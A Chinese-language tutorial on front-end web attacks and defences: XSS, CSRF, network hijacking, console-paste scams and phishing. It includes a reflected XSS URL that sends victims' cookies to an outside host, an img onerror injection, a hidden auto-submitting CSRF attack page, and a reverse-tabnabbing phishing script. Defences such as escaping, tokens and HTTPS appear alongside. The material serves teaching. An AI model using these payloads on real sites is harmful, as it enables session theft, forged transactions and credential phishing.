1.XSS跨站腳本攻擊(Cross Site Scripting)
1）通過<script>
舉個例子：通過QQ群，或者通過群發垃圾郵件，來讓其他人點擊這個地址：
book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>
這樣我們就可以獲取別人的cookie信息了
2) 能過append
<?php $username="\u003cscript\u003ealert('okok');"; ?> <!DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script> </head> <body> <div> 用戶名：<?php echo htmlentities($username);?> </div> <div> 第一條狀態：侯醫生的狀態1 </div> <div> 第二條狀態：侯醫生的狀態2 </div> <div> 第三條狀態：侯醫生的狀態3 </div> <div>版權所有：<span id="username_info"></span></div> <script> $('#username_info').append("<?php echo htmlentities($username);?>"); </script> </body> </html>
這樣能過echo還是可以執行對應的腳本的
3）能過Img標簽
在加載圖片失敗的時候，會調用該元素上的onerror事件。我們正可以利用這種方式來進行攻擊。
<?php $username="<script>alert('侯醫生');</script>"; $imgsrc="\" onerror=\"javascript:alert('侯醫生');\""; ?> <!DOCYTPE HTML> <html> <head> <meta charset="utf-8" /> </head> <body> <div> 用戶名：<?php echo htmlentities($username);?> </div> <div> 第一條狀態：侯醫生的狀態1，這個是圖片： <img src="<?php echo $imgsrc;?>" /> </div> <div> 第二條狀態：侯醫生的狀態2 </div> <div> 第三條狀態：侯醫生的狀態3 </div> </body> </html>
結果就是：
升級防御
看來，我們需要再次進行防御升級了，我們將輸出的字符串中的\反斜杠進行轉義(json轉義)。這樣，\就不會被當做unicode碼的開頭來被處理了。代碼如下：
document.getElementById('username_info').innerHTML = <?php echo json_encode(htmlentities($username));?>;
4）如果黑客在URL的這個參數中，加入js代碼，這樣便又會被執行
像這種從url中獲取的信息，筆者建議，最好由后端獲取，在前端轉義后再行輸出
<script>
var value = decodeURIComponent("<?php echo htmlentities($_GET['username']);?>");
$('#username_info').append(value);
</script>
2.CSRF攻擊
CSRF（Cross-site request forgery跨站請求偽造，也被稱為“One Click Attack”或者Session Riding，通常縮寫為CSRF或者XSRF，是一種對網站的惡意利用。
其實就是網站中的一些提交行為，被黑客利用，你在訪問黑客的網站的時候，進行的操作，會被操作到其他網站上(如：你所使用的網絡銀行的網站)。
原理：1、你在一個網站上登錄過有cookie信息。2、你再訪問別的網站進行操作的時候 ，這個網站向你之前的網站發送請求。
例如：你的代碼
<?php $username = $_COOKIE['username']; // 換為post了，可以規避黑客直接的提交 $productId = $_POST['pid']; // 這里進行購買操作 //store_into_database($username, $productId); ?> <meta charset="utf-8" /> <?php echo $username . '買入商品：' . $productId; ?>
黑客代碼如下：
<!DOCYTPE HTML>
<html>
<head>
<meta charset="utf-8" />
<script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
</head>
<body>
<button id="clickme">點我看相冊</button>
<script>
$('#clickme').on('click', function () {
// 用戶再不知情的情況下，提交了表單，服務器這邊也會以為是用戶提交過來的。
$('#myform').submit();
});
</script>
<form id="myform" style="display:none;" target="myformer" method="post" action="http://myhost:8082/lab/xsrflab/submit.php">
<input type="hidden" name="pid" value="1">
</form>
<iframe name="myformer" style="display:none;"></iframe>
</body>
</html>
預防這種的辦法就是：
1.增加token驗證.因為cookie發送請求的時候會自動增加上，但是token卻不會，這樣就避免了攻擊
2.Referer驗證。頁面來源的判斷
3.網絡劫持攻擊
很多的時候，我們的網站不是直接就訪問到我們的服務器上的，中間會經過很多層代理，如果在某一個環節，數據被中間代理層的劫持者所截獲，他們就能獲取到使用你網站的用戶的密碼等保密數據。比如，我們的用戶經常會在各種飯館里面，連一些奇奇怪怪的wifi，如果這個wifi是黑客所建立的熱點wifi，那么黑客就可以結果該用戶收發的所有數據。這里，建議站長們網站都使用https進行加密。這樣，就算網站的數據能被拿到，黑客也無法解開。
如果你的網站還沒有進行https加密的化，則在表單提交部分，最好進行非對稱加密--即客戶端加密，只有服務端能解開。這樣中間的劫持者便無法獲取加密內容的真實信息了。
4.控制台注入代碼
不知道各位看官有沒有注意到天貓官網控制台的警告信息，如圖4.1所示，這是為什么呢？因為有的黑客會誘騙用戶去往控制台里面粘貼東西（欺負小白用戶不懂代碼），比如可以在朋友圈貼個什么文章，說:"只要訪問天貓，按下F12並且粘貼以下內容，則可以獲得xx元禮品"之類的，那么有的用戶真的會去操作，並且自己隱私被暴露了也不知道。
5釣魚
釣魚也是一種非常古老的攻擊方式了，其實並不太算前端攻擊。可畢竟是頁面級別的攻擊，我們也來一起聊一聊。我相信很多人會有這樣的經歷，QQ群里面有人發什么兼職啦、什么自己要去國外了房子車子甩賣了，詳情在我QQ空間里啦，之類的連接。打開之后發現一個QQ登錄框，其實一看域名就知道不是QQ，不過做得非常像QQ登錄，不明就里的用戶們，就真的把用戶名和密碼輸入了進去，結果沒登錄到QQ，用戶名和密碼卻給人發過去了。
其實這種方式，在前端也有利用。下面，我們就來試試如果利用前端進行一次逼真的釣魚。
1 首先，我們在xx空間里分享一篇文章，然后吸引別人去點擊。
<!DOCYTPE HTML>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<div>
當前你在xx空間
</div>
<h1>侯博士的分享</h1>
<section>
咱們班當年班花，現在長這樣：
<!--這是咱們的釣魚網站-->
<a href="http://localhost:8082/lab/fish/cheat.php" target="_blank">點我查看</a>
</section>
</body>
</html>
2 接着，我們在cheat.php這個網站上面，將跳轉過來的源網頁地址悄悄的進行修改
<!DOCYTPE HTML>
<html>
<head>
<meta charset="utf-8" />
<script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
</head>
<body>
你想看的信息：
xxxxxxxxxxxxxx
xxxxxxxxxxxxxx
<script>
// 在用戶不知情的情況下，對跳轉的來源網頁進行地址替換
window.opener.location = 'http://localhost:8082/lab/fish/myfishsite.php';
</script>
</body>
</html>
於是，在用戶訪問了我們的欺騙網站后，之前的tab已經悄然發生了變化，我們將其悄悄的替換為了釣魚的網站，欺騙用戶輸入用戶名、密碼等。